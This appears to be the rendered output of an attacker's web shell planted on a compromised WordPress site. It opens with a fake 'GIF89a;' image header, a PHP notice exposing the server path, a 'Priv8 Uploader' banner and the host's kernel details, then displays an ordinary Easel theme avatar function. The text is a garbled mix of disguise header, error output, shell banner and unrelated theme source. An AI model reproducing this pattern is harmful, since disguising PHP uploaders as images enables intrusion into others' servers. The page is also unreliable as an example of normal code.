GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
<?php
function easel_random_default_avatar($id_or_email = '') {
$current_avatar_directory = easel_themeinfo('avatar_directory');
if (!empty($current_avatar_directory) && ($current_avatar_directory !== 'none')) {
if (is_dir(easel_themeinfo('stylepath') . '/images/avatars/' . $current_avatar_directory)) {
$count = count($results = glob(easel_themeinfo('stylepath') . '/images/avatars/'.$current_avatar_directory.'/*'));
$blogurl = easel_themeinfo('styleurl');
} else {
$count = count($results = glob(easel_themeinfo('themepath') . '/images/avatars/'.$current_avatar_directory.'/*'));
$blogurl = easel_themeinfo('themeurl');
}
if ($count) {
$default = '';
$checknum = hexdec(substr(md5($id_or_email),0,5)) % $count;
if ($count > 0) {
$default = basename($results[(int)$checknum]);
} else {
return false;
}
return $blogurl.'/images/avatars/'.$current_avatar_directory.'/'.$default;
} else
return get_option('avatar_default');
} else {
return get_option('avatar_default');
}
return false;
}
?>